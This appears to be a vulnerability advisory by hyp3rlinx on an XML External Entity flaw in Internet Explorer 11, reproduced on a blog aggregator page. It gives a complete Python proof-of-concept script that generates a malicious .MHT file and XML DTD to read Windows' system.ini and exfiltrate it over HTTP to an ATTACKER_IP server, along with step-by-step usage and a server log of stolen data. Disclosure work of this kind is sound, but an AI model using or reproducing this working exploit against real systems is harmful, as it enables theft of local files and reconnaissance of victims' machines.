[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Internet Explorer v11
(latest version)

Internet
Explorer is a series of graphical web browsers developed by Microsoft
and included in the Microsoft Windows line of operating systems,
starting in 1995.

[Vulnerability Type]
XML External Entity Injection

[CVE Reference]
N/A

[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon
opening the malicious ".MHT" file locally it should launch Internet
Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and
other interactions like right click "Print Preview" or "Print" commands
on the web-page may also trigger the XXE vulnerability.

However,
a simple call to the window.print() Javascript function should do the
trick without requiring any user interaction with the webpage.
Importantly,
if files are downloaded from the web in a compressed archive and opened
using certain archive utilities MOTW may not work as advertised.

Typically,
when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will
get a security warning bar in IE and be prompted
to activate blocked
content. However, when opening a specially crafted .MHT file using
malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1
- - [10/Apr/2019 20:56:28] "GET
/?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci]
HTTP/1.1" 200 -

Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.

[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY

[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.

#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()

if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019
Case Opened: March 28, 2019
MSRC
reponse April 10, 2019: "We determined that a fix for this issue will
be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure

[+] Disclaimer
The
information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission
is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and
that due credit is
given. Permission is explicitly given for insertion in vulnerability
databases and similar, provided that due credit
is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility
for any damage caused
by the use or misuse of this information. The author prohibits any
malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Microsoft Internet Explorer v11 / XML External EntityInjection 0day的更多相关文章

  1. Microsoft Internet Explorer v11 XML External Entity Injection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  2. Microsoft Internet Explorer内存破坏漏洞(CVE-2013-5052)

    漏洞版本: Microsoft Internet Explorer 6-11 漏洞描述: BUGTRAQ ID: 64126 CVE(CAN) ID: CVE-2013-5052 Internet E ...

  3. Microsoft Internet Explorer 内存破坏漏洞(CVE-2013-3193)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61678 CVE(CAN) ID: CVE-2013-3193 Windows ...

  4. Microsoft Internet Explorer 远程代码执行漏洞(CVE-2013-3186)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61663 CVE(CAN) ID: CVE-2013-3186 Windows ...

  5. C# winform webbrowser如何指定内核为IE11？ 输出 this.webbrowser.Version 显示版本是IE11的，但实际版本不是啊！ 网上打的修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULA

    最佳答案   1)假设你应用程序的名字为MyApplication.exe 2)运行Regedit,打开注册表,找到 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\M ...

  6. pikachu-XXE（xml external entity-injection）

    部分图片来自于网络,如有侵权,请联系我及时删除~ 一.XXE的概念 1.1 什么是xml xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件:它还可以用来传输数据,我 ...

  7. What is XMLHTTP? How to use security zones in Internet Explorer

    Types of Security Zones Internet Zone This zone contains Web sites that are not on your computer or ...

  8. 建站手册-浏览器信息：Internet Explorer 浏览器

    ylbtech-建站手册-浏览器信息:Internet Explorer 浏览器 1.返回顶部 1. http://www.w3school.com.cn/browsers/browsers_inte ...

  9. IE11新特性 -- Internet Explorer 11：请不要再叫我IE

    Internet Explorer 11 中的一些新特性,包括对WebGL 的支持.预抓取.预渲染.flexbox.mutationobservers 以及其他一些 Web 标准的支持.但是更有趣的是 ...

随机推荐

  1. ngxin 配置ssl

    1.上aliyun.com 申请免费ssl证书, 登录aliyun后搜索 “ca证书” , 申请使用“文件验证”,把文件传到服务器指定目录上,验证即可. 2.然后下载证书, 解压后传到服务器上, 在n ...

  2. Elastic Stack-Elasticsearch使用介绍(三)

    一.前言     上一篇说了这篇要讲解Search机制,但是在这个之前我们要明白下文件是怎么存储的,我们先来讲文件的存储然后再来探究机制: 二.文档存储 之前说过文档是存储在分片上的,这里要思考一个问 ...

  3. Python百题计划

    一.基础篇 想要像类似执行shell脚本一样执行Python脚本,需要在py文件开头加上什么?KEY:#!/usr/bin/env python Python解释器在加载 .py 文件中的代码时,会对 ...

  4. 【刷题】【LeetCode】总

    参考资料 用动画的形式呈现解LeetCode题目的思路 目录: 000-十大经典排序算法 001-两数之和-easy 暴力法(遍历):两遍哈希表:一遍哈希表 002- 003- 004- 005- 0 ...

  5. [蓝桥杯]2016蓝桥省赛B组题目及详解

    /*——————————————————————————————————————————————————————————— [结果填空题]T1 (分值:3) 题目:煤球数目 有一堆煤球,堆成三角棱锥形 ...

  6. 注意：QQ影音视频压缩时长丢失

    客户宣传片发来,高清的,比较大,500多M,需要转成小一点的,放在客户网站上,于是用QQ影音转码压缩下,变成低质量的.如下 一切都很顺利,提示进度100%! 这一切都是电脑自动的,又是提示成功的,千想 ...

  7. centos7之openvpn搭建

    一.环境介绍 操作系统centos7.4 openvpn版本:openvpn-2.1 lzo版本:lzo-2.03 二.搭建 关闭firewalld防火墙,并设置开机不启动.关闭selinux sys ...

  8. [ffmpeg] 多输入滤波同步方式（framesync）

    滤波也不总是单一的输入,也存在对多个输入流进行滤波的需求,最常见的就是对视频添加可视水印,水印的组成通常为原视频以及作为水印的图片或者小动画,在ffmpeg中可以使用overlay滤波器进行水印添加. ...

  9. python中的__dict__,__getattr__,__setattr__

    python class 通过内置成员dict 存储成员信息(字典) 首先用一个简单的例子看一下dict 的用法 class A(): def __init__(self,a,b): self.a = ...

  10. OMS自动化运维平台部署

    OMS自动化运维平台部署 一.基础环境安装 yum -y install mariadb mariadb-devel mariadb-server wget epel-release python-d ...